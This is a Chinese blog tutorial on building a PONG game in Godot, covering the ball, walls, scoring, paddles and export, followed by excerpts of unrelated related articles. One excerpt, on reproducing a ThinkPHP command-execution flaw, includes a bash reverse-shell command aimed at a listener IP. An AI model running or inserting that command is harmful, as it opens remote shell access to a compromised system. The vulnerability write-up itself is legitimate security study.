当前位置: 首页 > news >正文

Godot学习笔记8——PONG游戏制作

目录

一、小球

二、地图 

三、积分系统 

四、玩家场景

五、导出与发布 


PONG是1972年由雅达利公司推出的游戏,主要玩法为玩家控制两个可以上下移动的板子击打屏幕中不断运动的球 

一、小球

我们首先创建一个“Area2D”场景,在它下方创建“CollisionShape2D”和“Sprite2D”两个子节点:

 

在“CollisionShape2D”中,我们把“Shape”属性设置为“圆形”,在“Sprite2D”中把“Texture”属性设置为资源中的小球图形:

 

之后,我们调整“CollisionShape2D”的大小,按住红色小点拖动,使其更贴合图片尺寸:

之后,我们在资源文件夹中右键新建文件夹,将小球场景保存: 

 

 

完成后应该是这个样子:

 

接着,我们在“Area2D”上挂载一个脚本:

这里,我们让小球的位置每一帧加一个二维向量(1,0),将小球放在场景中间位置点击运行,即可看到如下结果:

可以看到小球在向右运动。 

现在,我们需要让小球按任意方向移动,需要在外部添加新的变量:

这里,我们定义了一个二维向量“vec”,并给它赋值(5,5),保存运行后,小球将会向右下移动:

 接下来,我们还需要为小球添加其他功能,例如当小球触碰到左右墙壁时,让小球回到屏幕中间位置:

这里,我们首先定义了一个名为“init_position”的变量用来存放小球的初始位置,在“_ready”函数中,当小球初次被加载时将小球位置记录到该变量内。同时,我们自定义了一个名为“resest()”的函数,功能是让小球的位置为初始位置。在“_process()”函数中,我们加了一个if条件判断,如果小球当前的x大于500,那么就让它回到初始位置。运行后会看到小球确实回到了初始位置:

之后,我们将if删掉,把小球放回原点(0,0)处,再次保存场景,小球场景就制作完毕了。

二、地图 

在资源管理器中,我们新建一个文件夹命名为“地图”,在里面新建一个“map”场景。在场景中新建两个“ColorRect” ,一个颜色为黑色,大小为1152×648,位置在(0,0);另一个颜色为白色,大小为3×648,位置在(576,0):

 为什么选取1152和648,是因为项目的屏幕大小就这样,我们可以在“项目——项目设置”里更改项目窗口大小:

接下来创建墙壁,和小球类似,我们创建一个“Area2D”,并在它之下创建子节点“CollisionShape2D” ,形状选择矩形,并调整相应位置与大小。创建好一个后按住“ctrl+D”可以快速复制节点与其子节点,将第二个墙壁也放在对应位置:

接着,我们来为墙壁挂载脚本。

首先,我们需要在小球脚本内的“_ready”函数中加一句:

self.add_to_group("Ball")

在小球被加载时,将会把小球加入到一个名为“Ball”的组内。

之后,在墙壁挂载如下内容: 

 在“_process”函数中,我们用for来遍历“get_overlapping_areas()”函数返回的内容,按住“ctrl”单击函数即可查看对应内容:

简单来说,对于每一个进入墙壁判定框的Area2D节点,我们都会判断其是否属于“Ball”组,如果属于,则调用自身的复位函数,使其回到屏幕中央。

为两个墙壁都挂载相同脚本,点击场景栏左上角链接按钮实例化场景,将小球场景添加进来,并调整位置至屏幕中间,点击运行:

可以看到小球在触碰到左右墙壁后可以正常复位。

接着我们来创建上下墙壁,基本方法与左右墙壁一致:

我们为上下墙壁挂载脚本:

这里没什么好讲的,当触碰到以后就让小球的速度加一个y方向的5,使小球向下移动。在脚本前面我们定义了一个变量y,并使用“@export”使其能在属性栏显示,我们可以看到上墙壁的属性栏多了一个来自“上墙壁.gd”的可调节项“Y”。我们为下墙壁也挂载相同的脚本,并将该值设置为-5。 

三、积分系统 

在资源文件夹内创建一个名为“积分系统”的文件夹,在里面创建一个脚本:

并使用上节讲过的知识创建单例:

之后,我们打开小球脚本加入如下代码:

这样,在每次调用复位函数时,可以判断小球是从哪个方向飞入墙壁的,从而更改计数的值。 

接着,我们创建一个文件夹,并在里面创建一个积分场景。添加两个“Label”节点,调整到合适位置,并添加如下脚本:

另一个显示玩家2的分数,“score1”改为“score2”即可。

接着,用和小球场景相同的方法把积分场景也加载到地图场景中:

 

点击运行,即可看到如下内容:

但可以看到,在小球碰到墙壁反弹时,计分板不止加了一分,这是因为在编写左右墙壁脚本时,我们的加分判断没有放在物理处理帧率中,而是放在了画面刷新帧率。要解决这个问题,我们只需要将“_process”中的代码复制粘贴到“_physics_process”中即可:

再次运行,可以看到积分系统恢复正常了。 

四、玩家场景

首先,我们先来添加玩家的键位映射:

 之后,与创建小球时一致,创建玩家1的反弹杆:

之后,在“Area2D”中挂载如下脚本:

 

另一个玩家的脚本与此大抵相同,只不过与球碰撞时给予的加速度为-3。

在这里,为了防止球拍出界,我们设定了一个-324到324的范围,只有在这个范围里面移动才会被加入坐标。

之后,与小球场景类似,将玩家1与玩家2的场景加载到地图场景中,适当调整位置:

到这里,游戏就已经基本完成了。

五、导出与发布 

点击“项目——导出”,添加Windows模板,这里会提示缺少导出模板,我们点击报错信息的管理模板,下载模板即可:

不过,现在我在这里无法下载到导出模板,并且找不到解决办法,唯一的途径就是手动下载:

下载红线划住的即可。 

下载好后,点击从文件安装,选择刚才下载好的文件即可。

导出成功后,即可看到文件夹里的.exe文件和.pck文件。运行时要保证两个文件处于同一路径下,否则会报错。 

相关文章:

Godot学习笔记8——PONG游戏制作

目录 一、小球 二、地图 三、积分系统 四、玩家场景 五、导出与发布 PONG是1972年由雅达利公司推出的游戏,主要玩法为玩家控制两个可以上下移动的板子击打屏幕中不断运动的球 一、小球 我们首先创建一个“Area2D”场景,在它下方创建“Collisi…...

软件RAID配置实战(2个案例场景)

文章目录 3、软件RAID管理-mdadm工具安装mdadm组件格式示例选项说明mdadm命令其它常用选项 4、相关查询命令查看创建RAID的进度查看RAID磁盘详细信息查看文件系统的磁盘空间使用情况 5、RAID配置示例场景1:RAID5步骤 场景2:RAID10步骤 6、移除RAID阵列 接…...

# 基于MongoDB实现商品管理系统(2)

基于MongoDB实现商品管理系统(2) 基于 mongodb 实现商品管理系统之准备工作 1、案例需求 这里使用的不是前端页面,而是控制台来完成的。 具体的需求如下所示: 运行 查询所有 通过id查询详情 添加 - 通过id删除 2、案例分析 程…...

国标GB28181视频平台LntonCVS视频融合共享平台视频汇聚应用方案

近年来,国内视频监控应用迅猛发展,系统接入规模不断扩大,导致了大量平台提供商的涌现。然而,不同平台的接入协议千差万别,使得终端制造商不得不为每款设备维护多个不同平台的软件版本,造成了资源的严重浪费…...

java基础I/O

1,I/O流的概念: IO流代表的是一个数据输入的源或者输出的目标地址,可以是硬盘,内存,网络或者什么其他的电子设备,而IO流的类型也很多比如最简单的字节或者字符,或者其他更高级的对象。 不管它有多少特性&am…...

关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论

关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论,确实是一个值得深入探讨的话题。这里,“八股文”通常指的是面试中常见的一系列标准化问题和答案,涵盖了编程语言基础、算法、数据结构、设计模式、框架知识等,这些内…...

【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...

端点区间影响

前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...

Leetcode3224. 使差值相等的最少数组改动次数

Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...

算法板子:匈牙利算法——二分图的最大匹配

目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...

轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!

不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...

windbg常用命令

1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行&#xff0c;不进入函数。 t: 单步执行&#xff0c;进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...

Ubuntu(20.04 LTS)更换镜像源

此换镜像源方法只适用x86_64架构的系统&#xff0c;其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中&#xf…...

golang使用 copier对象复制时进行类型转化

问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候&#xff0c;我们希望能显示经过格式化过的目标字符串格式&#xff0c;这里我们可以使用自定义的 converter&#xff0c;主要是定义 src 和 dst 类型&#xf…...

英特尔18A制程技术分析解读

#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧&#xff0c;英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息&#xff0c;并计划在2025年开始生产。 #### 技术进展 - **里程碑**&#xff1a;英特尔表示&#xff0c;这一里程碑是在…...

【百度面试算法题】2024-08-02

部门项目实际上也涉及到多种语言&#xff0c;有没有意愿去学习其他语言&#xff1f;你是如何利用数据结构来做技术的/项目中是如何解决高并发的&#xff1f;&#xff08;没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了&#xff0c;开始问八股&#xff09;说一下单…...

OSPF基础

目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...

leetcode 958.二叉树的完全性检验

1.题目要求: 给你一棵二叉树的根节点 root &#xff0c;请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中&#xff0c;除了最后一层外&#xff0c;所有层都被完全填满&#xff0c;并且最后一层中的所有节点都尽可能靠左。最后一层&#xff08;第 h 层&#xff09;…...

Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?

微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...

低延迟内存池配置终极 checklist:12项参数+8个LLVM-Clang编译约束+3类NUMA绑定策略

第一章&#xff1a;金融级低延迟内存池的核心设计哲学在高频交易、实时风控与毫秒级行情分发等金融核心场景中&#xff0c;内存分配延迟的微小波动&#xff08;如纳秒级抖动&#xff09;可能直接导致订单执行偏差或监管合规风险。因此&#xff0c;金融级低延迟内存池并非单纯追…...

QuantLib避坑指南:从编译安装到多线程优化的5个实战经验

QuantLib工程化实战&#xff1a;从编译优化到高并发设计的5个关键策略 在金融科技领域&#xff0c;QuantLib作为开源的量化金融计算库&#xff0c;已经成为众多机构的核心基础设施。但将QuantLib真正投入生产环境时&#xff0c;开发团队往往会遇到一系列工程化挑战——从复杂的…...

3分钟搞定Blender VRM插件:从零开始创建你的虚拟角色

3分钟搞定Blender VRM插件&#xff1a;从零开始创建你的虚拟角色 【免费下载链接】VRM-Addon-for-Blender VRM Importer, Exporter and Utilities for Blender 2.93 to 5.0 项目地址: https://gitcode.com/gh_mirrors/vr/VRM-Addon-for-Blender 还在为Blender与VRM格式的…...

Granite TimeSeries FlowState R1赋能网络安全:异常流量检测与预测

Granite TimeSeries FlowState R1赋能网络安全&#xff1a;异常流量检测与预测 最近和几个做运维和安全的朋友聊天&#xff0c;大家普遍有个头疼的问题&#xff1a;面对海量的网络流量数据&#xff0c;怎么才能提前发现那些“不对劲”的苗头&#xff1f;等攻击真的发生了&…...

终极指南:如何用dlssg-to-fsr3让老款RTX显卡享受帧生成技术

终极指南&#xff1a;如何用dlssg-to-fsr3让老款RTX显卡享受帧生成技术 【免费下载链接】dlssg-to-fsr3 Adds AMD FSR 3 Frame Generation to games by replacing Nvidia DLSS Frame Generation (nvngx_dlssg). 项目地址: https://gitcode.com/gh_mirrors/dl/dlssg-to-fsr3 …...

WuliArt Qwen-Image Turbo优化指南:启用BF16模式,让生成更稳定高效

WuliArt Qwen-Image Turbo优化指南&#xff1a;启用BF16模式&#xff0c;让生成更稳定高效 1. 理解BF16模式的核心价值 在个人GPU上运行文生图模型时&#xff0c;最令人沮丧的体验莫过于等待几秒后只得到一张全黑的图片。这不是你的Prompt写得不好&#xff0c;而是FP16&#…...

G-Helper深度解析:华硕笔记本轻量级控制工具的技术架构与实战手册

G-Helper深度解析&#xff1a;华硕笔记本轻量级控制工具的技术架构与实战手册 【免费下载链接】g-helper Lightweight, open-source control tool for ASUS laptops and ROG Ally. Manage performance modes, fans, GPU, battery, and RGB lighting across Zephyrus, Flow, TUF…...

作业3.7

10.import math# 输入三条边a float(input("请输入三角形的边A&#xff1a;"))b float(input("请输入三角形的边B&#xff1a;"))c float(input("请输入三角形的边C&#xff1a;"))# 判断是否能构成三角形if a > 0 and b > 0 and c >…...

全国人大代表:我国自主创新区块链技术已应用到16个中央部委和27个企业

据央视新闻报道&#xff0c;全国人大代表、北京微芯区块链与边缘计算研究院院长董进表示&#xff1a;我国自主创新的区块链底层技术已应用到16个中央部委和27个中央企业&#xff0c;并在税务、跨境贸易、全球支付等领域取得积极进展。其中&#xff0c;我国每年“跑”在自主区块…...

【CAPL实战】LIN校验和自动化测试:从函数解析到脚本验证

1. LIN校验和的核心概念与CAPL函数解析 第一次接触LIN总线校验和测试时&#xff0c;我也曾被各种专业术语绕得头晕。简单来说&#xff0c;校验和就像是给数据包贴上的"防伪标签"——当LIN报文从主机发往从机时&#xff0c;这个标签能帮我们确认数据在传输过程中是否…...